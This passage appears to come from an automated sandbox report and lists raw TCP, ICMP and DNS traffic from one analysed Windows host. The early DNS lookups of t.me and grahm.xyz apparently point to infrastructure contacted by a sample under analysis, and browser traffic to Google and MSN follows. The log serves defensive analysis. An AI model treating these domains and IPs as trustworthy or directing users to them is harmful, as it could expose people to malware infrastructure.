Dec 12, 2024 16:47:52.336517096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.336529970 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.336539984 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.337040901 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:52.345441103 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:52.672372103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.678812981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.678829908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.678838968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:52.679214954 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:52.688374996 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.004617929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.010061026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.010113001 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.010160923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.010341883 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.019042969 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.336361885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.347534895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.347574949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.347626925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.347965002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.356033087 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.671979904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.678499937 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.678586006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.678600073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:53.678972006 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:53.688110113 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.002758026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.008070946 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.008076906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.008207083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.012356043 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.019866943 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.335836887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.340739012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.340761900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.340882063 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.341173887 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.357471943 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.671919107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.677340031 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.677383900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.677419901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:54.677660942 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:54.685693979 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.000567913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.005831957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.005888939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.005922079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.013056993 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.023655891 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.338242054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.344211102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.344224930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.344252110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.344537973 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.358649015 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.674170017 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.679187059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.679362059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.679392099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:55.679740906 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:55.688337088 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:56.003901958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.009114981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.009145975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.009188890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.009428024 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:56.016895056 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:56.331518888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.336677074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.336863041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.336926937 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.336940050 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:56.337028980 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:56.392976999 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:56.676455021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:48:00.927278996 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:00.927516937 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:01.264643908 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:01.265625000 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:01.265831947 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:01.270272017 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:03.784895897 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:03.785044909 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:04.100142002 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:04.101207972 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:04.101517916 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:04.102781057 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:05.318245888 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:05.318650961 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:48:05.633601904 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:05.635083914 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:05.635838032 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:05.636265039 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:49:03.792294979 CET	63645	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:49:03.792294979 CET	50010	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:49:03.929671049 CET	53	50010	1.1.1.1	192.168.2.8
Dec 12, 2024 16:49:03.932065964 CET	53	63645	1.1.1.1	192.168.2.8
Dec 12, 2024 16:49:03.933916092 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:03.933916092 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:03.933916092 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:03.934180021 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:04.815999985 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:04.816162109 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:04.816652060 CET	53091	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:49:04.816735983 CET	55305	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:49:04.816828966 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:04.817142963 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:04.971596956 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.020320892 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.020839930 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.047990084 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.130723000 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.130749941 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.130763054 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.130776882 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.130791903 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.131031036 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.131329060 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.131589890 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.131753922 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.143599987 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.286916018 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.335736990 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.362189054 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:05.448510885 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.459285975 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:05.487231970 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:12.050265074 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:12.050265074 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:49:12.379348993 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:12.379400015 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:12.379518986 CET	443	58550	162.159.61.3	192.168.2.8
Dec 12, 2024 16:49:12.380239964 CET	58550	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:05.549525023 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:05.549750090 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:05.550199986 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:05.550424099 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.564604998 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.564604998 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.565124989 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.565289974 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.645747900 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.651998997 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.675987959 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.879204035 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.879446983 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.879451990 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.879456043 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.879462004 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:06.879595041 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.879683971 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.879729033 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.913038969 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:06.968733072 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:07.002873898 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:07.200670958 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:07.232435942 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:08.582523108 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:08.582523108 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:50:08.903779984 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:08.907634020 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:08.911334991 CET	443	62440	162.159.61.3	192.168.2.8
Dec 12, 2024 16:50:08.912830114 CET	62440	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:00.067182064 CET	138	138	192.168.2.8	192.168.2.255
Dec 12, 2024 16:51:25.410531044 CET	59905	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:51:25.411007881 CET	56100	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:51:25.548332930 CET	53	59905	1.1.1.1	192.168.2.8
Dec 12, 2024 16:51:25.548398018 CET	53	56100	1.1.1.1	192.168.2.8
Dec 12, 2024 16:51:25.549701929 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:25.549868107 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:25.550107956 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:25.550263882 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:26.642592907 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:26.646450043 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:26.673391104 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:26.962702036 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:26.962712049 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:26.962723970 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:26.962728024 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:26.963238001 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:26.963331938 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.279557943 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.280143976 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.346120119 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.346237898 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.347227097 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.361560106 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.599442959 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.599462986 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.599473953 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.599978924 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:51:27.661355972 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.661519051 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.677344084 CET	443	50218	162.159.61.3	192.168.2.8
Dec 12, 2024 16:51:27.677865982 CET	50218	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:03.848875999 CET	59215	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:54:03.849361897 CET	64083	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:54:03.986001015 CET	53	59215	1.1.1.1	192.168.2.8
Dec 12, 2024 16:54:03.986558914 CET	53	64083	1.1.1.1	192.168.2.8
Dec 12, 2024 16:54:03.988136053 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:03.988620996 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:03.989011049 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:03.989859104 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:04.866266012 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:04.866380930 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:04.866851091 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:04.866851091 CET	56883	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:54:04.866851091 CET	56118	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:54:04.867130995 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.109270096 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.116755962 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.152755022 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.181967020 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.181978941 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.181994915 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.182005882 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.182518005 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.184758902 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.184760094 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.432696104 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.471509933 CET	56374	443	192.168.2.8	162.159.61.3
Dec 12, 2024 16:54:05.496771097 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.498703957 CET	443	56374	162.159.61.3	192.168.2.8
Dec 12, 2024 16:54:05.534106016 CET	56374	443	192.168.2.8	162.159.61.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 12, 2024 16:47:02.067163944 CET	192.168.2.8	1.1.1.1	c2bb	(Port unreachable)	Destination Unreachable
Dec 12, 2024 16:47:05.053402901 CET	192.168.2.8	1.1.1.1	c24e	(Port unreachable)	Destination Unreachable
Dec 12, 2024 16:47:05.697797060 CET	192.168.2.8	1.1.1.1	c29c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 16:46:27.687344074 CET	192.168.2.8	1.1.1.1	0xc27a	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:29.930932045 CET	192.168.2.8	1.1.1.1	0x126f	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:45.348670959 CET	192.168.2.8	1.1.1.1	0x83be	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:45.349083900 CET	192.168.2.8	1.1.1.1	0x685d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 12, 2024 16:46:52.250689983 CET	192.168.2.8	1.1.1.1	0x9f8c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:52.250873089 CET	192.168.2.8	1.1.1.1	0xdf1e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:01.401902914 CET	192.168.2.8	1.1.1.1	0x7da4	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:01.402185917 CET	192.168.2.8	1.1.1.1	0x8a32	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:03.786314964 CET	192.168.2.8	1.1.1.1	0x353e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:03.787362099 CET	192.168.2.8	1.1.1.1	0x9a7	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 12, 2024 16:47:04.823244095 CET	192.168.2.8	1.1.1.1	0xdcfe	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:04.823467970 CET	192.168.2.8	1.1.1.1	0x3ac3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.336993933 CET	192.168.2.8	1.1.1.1	0x1f11	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.337186098 CET	192.168.2.8	1.1.1.1	0x2f3d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.337817907 CET	192.168.2.8	1.1.1.1	0x8763	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.338061094 CET	192.168.2.8	1.1.1.1	0xcc8c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.354789972 CET	192.168.2.8	1.1.1.1	0x8e74	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.354945898 CET	192.168.2.8	1.1.1.1	0x8523	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.406111002 CET	192.168.2.8	1.1.1.1	0x2477	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.406542063 CET	192.168.2.8	1.1.1.1	0x77ce	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.420849085 CET	192.168.2.8	1.1.1.1	0xbc7e	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.421140909 CET	192.168.2.8	1.1.1.1	0x258f	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.546046019 CET	192.168.2.8	1.1.1.1	0x75f9	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.546180964 CET	192.168.2.8	1.1.1.1	0x55ab	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 12, 2024 16:47:06.757731915 CET	192.168.2.8	1.1.1.1	0x2ea6	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.758219004 CET	192.168.2.8	1.1.1.1	0x6f44	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Dec 12, 2024 16:49:03.792294979 CET	192.168.2.8	1.1.1.1	0xcf93	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:49:03.792294979 CET	192.168.2.8	1.1.1.1	0x70af	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:49:04.816652060 CET	192.168.2.8	1.1.1.1	0x4473	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:49:04.816735983 CET	192.168.2.8	1.1.1.1	0x1274	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 12, 2024 16:51:25.410531044 CET	192.168.2.8	1.1.1.1	0x3e1b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:51:25.411007881 CET	192.168.2.8	1.1.1.1	0x274d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:54:03.848875999 CET	192.168.2.8	1.1.1.1	0xa0e9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:54:03.849361897 CET	192.168.2.8	1.1.1.1	0x914e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 16:54:04.866851091 CET	192.168.2.8	1.1.1.1	0xd0f6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:54:04.866851091 CET	192.168.2.8	1.1.1.1	0x22f4	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 16:46:27.824507952 CET	1.1.1.1	192.168.2.8	0xc27a	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:30.348687887 CET	1.1.1.1	192.168.2.8	0x126f	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:45.486005068 CET	1.1.1.1	192.168.2.8	0x83be	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:45.486187935 CET	1.1.1.1	192.168.2.8	0x685d	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 12, 2024 16:46:52.388190985 CET	1.1.1.1	192.168.2.8	0x9f8c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:46:52.388190985 CET	1.1.1.1	192.168.2.8	0x9f8c	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:46:52.389424086 CET	1.1.1.1	192.168.2.8	0xdf1e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:01.539086103 CET	1.1.1.1	192.168.2.8	0x7da4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:01.543103933 CET	1.1.1.1	192.168.2.8	0x8a32	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:01.963001013 CET	1.1.1.1	192.168.2.8	0x4108	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:01.963001013 CET	1.1.1.1	192.168.2.8	0x4108	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:02.067090034 CET	1.1.1.1	192.168.2.8	0xd96e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:03.924941063 CET	1.1.1.1	192.168.2.8	0x9a7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:04.019747019 CET	1.1.1.1	192.168.2.8	0x353e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:04.964132071 CET	1.1.1.1	192.168.2.8	0xdcfe	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:04.964132071 CET	1.1.1.1	192.168.2.8	0xdcfe	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:05.053323030 CET	1.1.1.1	192.168.2.8	0x3ac3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.474380970 CET	1.1.1.1	192.168.2.8	0x2f3d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
